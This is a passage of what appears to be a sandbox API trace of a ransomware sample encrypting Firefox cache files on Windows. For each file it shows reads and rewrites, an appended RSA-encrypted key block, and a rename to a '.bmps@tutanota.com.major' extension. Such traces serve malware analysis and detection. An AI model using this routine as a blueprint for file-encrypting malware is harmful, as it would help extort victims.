| out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.816] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.816] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.816] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.816] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ovtSIe7YYCEG11UEKIa0CXhaRZN7LZekU2ddWHFi25HyBc9mqnxnR9litGXiLOqT\nz7GCgxlbV+Kmc99nIGj2JPmmOp1kL22tzS8eLQ1hUnOMl4kzfDp5RNYug3Ec02E9\nx8tzSJWxrgQranxF3gghJkNqBZF4+Ry/Ph++qIRrcewXJVlI6VIrTNOgC4huFj2O\n2Lh46BZXEH8whXakRoktH5n75OrFZocdg80h9Bqh+mELj1ShUTZzUUp25RrS2v9h\njXAD3rZjeGbawp5lQhgg+olXcBM28Cnjyi/uhGGTuO/VxVWv2+HekGjaZrciWo2g\nhP/RvjGpZryKJBVY3xz9EQ==\n", pcchString=0x2e3f9a8) returned 1 [0260.817] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.817] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.817] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.817] CloseHandle (hObject=0x1b84) returned 1 [0260.818] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\91FFA32B495A7A655236E9625A48F0CAACC3A677" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\91ffa32b495a7a655236e9625a48f0caacc3a677"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\91FFA32B495A7A655236E9625A48F0CAACC3A677.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\91ffa32b495a7a655236e9625a48f0caacc3a677.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.820] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.820] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9149829A8F4CDF7E46336AA2EB0F95DA9369301D", dwFileAttributes=0x80) returned 1 [0260.821] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x1990, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x1990, lpOverlapped=0x0) returned 1 [0260.931] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.931] WriteFile (in: hFile=0x1b84, lpBuffer=0x34411c8*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34411c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1990, lpOverlapped=0x0) returned 1 [0260.932] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1990 [0260.932] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.932] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.932] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.933] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.933] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="r118NxXEWkHVjGxvPApEvlksdcImhfDRvZsisVWD9Ddjp+vzpXhhQAiI1WWlLvIq\n5I3lzOihLvvm3T74PGiIWYdq2UwrSsnf9EhTHZpcg5YLhLytAH7S5lqItFsrM0gk\nKfnvP4KXyRCkKiFi0Uj25fZjDxFtwY9hQMr0ncWaTlzTF+ZPtkT5MGB7pWcU0ihI\nmeOfJ7i0/G58T4SLE6USvuZS82vcsrhAQlmsa6b0/ozCTcqIAEd/hR0pg96YgVd2\nFZ/cq7cHmFc+QQ3eXrXS1CSDLc/bUkgiCeln1CBhQ71E+XyPxq2SjJGMhDbnHh/a\nX7RTCbsWu3BJSo1EgdPeiA==\n", pcchString=0x2e3f9a8) returned 1 [0260.933] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.933] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.933] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.934] CloseHandle (hObject=0x1b84) returned 1 [0260.934] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9149829A8F4CDF7E46336AA2EB0F95DA9369301D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9149829a8f4cdf7e46336aa2eb0f95da9369301d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9149829A8F4CDF7E46336AA2EB0F95DA9369301D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9149829a8f4cdf7e46336aa2eb0f95da9369301d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.936] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.937] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9097930649FE7A5ED5C370E284F3159B56458EFF", dwFileAttributes=0x80) returned 1 [0260.937] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x112a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x112a, lpOverlapped=0x0) returned 1 [0260.939] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4394, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.939] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440968*, nNumberOfBytesToWrite=0x112a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440968*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112a, lpOverlapped=0x0) returned 1 [0260.939] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112a [0260.939] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.940] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EJhAqBoBj6PJa/ZSwi9bIjdA38KvQL0bgG9PcZMpJIAgtxlli+dJoeXUeIOUXQxV\ntBjVR9eUdaTxjyCbW0uQmZLpO82rWjZ311TOem+WKssvxyR3o6rXvYkqhHl8GcE2\nt2yxRzEXZK8eSzLnPSal1za7NcsxSdTgiurFnZ94Er/qUQn1GdOxDugkMe+uuzF8\nG1w6SdbqIzOk53kTDcPKx81h6BxLJlH4/m8pHn8XOCEA3mM/Jg8zJPNixozYU2lb\nSy2tVE0onO2DVDipRDAQCLnoFDAcJ4zSpWY/UtPyBZldO3US2w0LC6AGvxQ57fEY\ngD/0gpfdsiiMfizw0YfPAA==\n", pcchString=0x2e3f9a8) returned 1 [0260.941] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.941] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.942] CloseHandle (hObject=0x1b84) returned 1 [0260.942] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9097930649FE7A5ED5C370E284F3159B56458EFF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9097930649fe7a5ed5c370e284f3159b56458eff"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9097930649FE7A5ED5C370E284F3159B56458EFF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9097930649fe7a5ed5c370e284f3159b56458eff.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.945] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.945] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\90873B6220C4B6986D18F883E40CDFF4130FA25D", dwFileAttributes=0x80) returned 1 [0260.947] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x232c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x232c, lpOverlapped=0x0) returned 1 [0261.139] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.139] WriteFile (in: hFile=0x1b84, lpBuffer=0x3441b68*, nNumberOfBytesToWrite=0x232c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441b68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x232c, lpOverlapped=0x0) returned 1 [0261.139] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x232c [0261.140] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.140] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.140] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.140] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6rNyyCNDYjTi2v44w4gNZxpLEwOlB8LoCUP8NcDoRBiRXtD+651Vzj1EM0zpAUI+\nzLbLQ7w6bohMd7IR6JfaZ43+F68tMMEp+tpSBuVcgUFBI1SbXsOieqAN5ezmmzt/\nU9p7mR3dy03BpZIPh3XrdC6ioDREGrKYMjwjgAKA39oP8hc19XVBls8bfzCs7Ulq\n53rQZIubI8lfrPKWK1Arp7LnYLh69DSv4o4vDo4bQb6qbBCA75eJwJ07ChKrPm3a\noR/u500a35/gfKUyHiLX08Xy+bYIe0WUdv3E3Xmc2KeEh0RCanPAkVZXEuE6Tme4\nEvliyQc6IMYYMyXs/7NlJQ==\n", pcchString=0x2e3f9a8) returned 1 [0261.140] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.141] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.141] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.141] CloseHandle (hObject=0x1b84) returned 1 [0261.141] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\90873B6220C4B6986D18F883E40CDFF4130FA25D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\90873b6220c4b6986d18f883e40cdff4130fa25d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\90873B6220C4B6986D18F883E40CDFF4130FA25D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\90873b6220c4b6986d18f883e40cdff4130fa25d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.143] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.143] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8F27E0DD6B745A71BFEF380695A51D56F3EF3131", dwFileAttributes=0x80) returned 1 [0261.143] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x42d, lpOverlapped=0x0) returned 1 [0261.385] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1069, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.385] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x42d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42d, lpOverlapped=0x0) returned 1 [0261.386] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42d [0261.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.386] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="d3z3ZzsoriNsQWbSt2ZrygwVzP0/YcwDPN+8zNLVGnxh+jnE3WydLODI7HZS8F/l\nJWCPRElZ6RcrgJMgXGZdGQISZkPQ4m28l7OIdTvge03Iqu0dTgwiJfVQ7rLxs8T6\nZcYrlFp2myiIlQP6xU3mr1RagOrzi/k3gM/vUBSa5h6q4SvsdcD8nPuE39FXU5Ps\n8Vvx7x90ByRmE3PWxvpcYuX9oaKpqsklegN/+A3uUgJumlWTCbvbXUqm5tUiR2XE\nerpBg9JIBXQVJ0go1rufso0pLmef5NqruGeRUOGa2CHpDsju/8T87rtjjkiujp66\n+hDEeY7qcnF5o0BT/vyIBQ==\n", pcchString=0x2e3f9a8) returned 1 [0261.387] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.388] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.388] CloseHandle (hObject=0x1b84) returned 1 [0261.388] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8F27E0DD6B745A71BFEF380695A51D56F3EF3131" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8f27e0dd6b745a71bfef380695a51d56f3ef3131"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8F27E0DD6B745A71BFEF380695A51D56F3EF3131.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8f27e0dd6b745a71bfef380695a51d56f3ef3131.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.391] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.391] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E75488310FCEE9798415D0A12C6809233B39D0A", dwFileAttributes=0x80) returned 1 [0261.392] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x1a20, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a20, lpOverlapped=0x0) returned 1 [0261.436] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.436] WriteFile (in: hFile=0x1b84, lpBuffer=0x3441258*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441258*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a20, lpOverlapped=0x0) returned 1 [0261.437] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a20 [0261.437] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.437] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.438] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.438] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.438] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.439] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+IWdKia81Tqsdy7wTOfLUdIgqvKMhd21pFqfD+XCGv4W9Nq3pV6eDOQk63YAkkM/\n35y4gMoLD6SH2+iz4o2J9RGojAJ8qh20iRxJ5Uw90UtXZCaZ/pj3FBd7QyeRaHAC\nRaDWeEPuQvOZCdg5UPV+o+vbHKPHcXRH2xgGhT2Ce8Zu92916wFQYxBsSBK4Zfxy\nJJSAJ8o2KwU/zZ5edGWT/vWrBLWrVBIeh3J52/BWhgpUkAYI4l6Nmha4OIB3hLDH\n9+oLRju9SG5wMNdZi2EbAQfFVx4Rv59na/JUxjLeBG7knZHJPvFCOEL5tPrEqi9I\n89Bt2NGn+OrLvP0PnJV8Qg==\n", pcchString=0x2e3f9a8) returned 1 [0261.439] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.439] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.439] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.439] CloseHandle (hObject=0x1b84) returned 1 [0261.440] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E75488310FCEE9798415D0A12C6809233B39D0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8e75488310fcee9798415d0a12c6809233b39d0a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E75488310FCEE9798415D0A12C6809233B39D0A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8e75488310fcee9798415d0a12c6809233b39d0a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.443] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E46B30B8A6CD2DC14E8C6957D0707ABC329598F", dwFileAttributes=0x80) returned 1 [0261.444] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x15261, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, 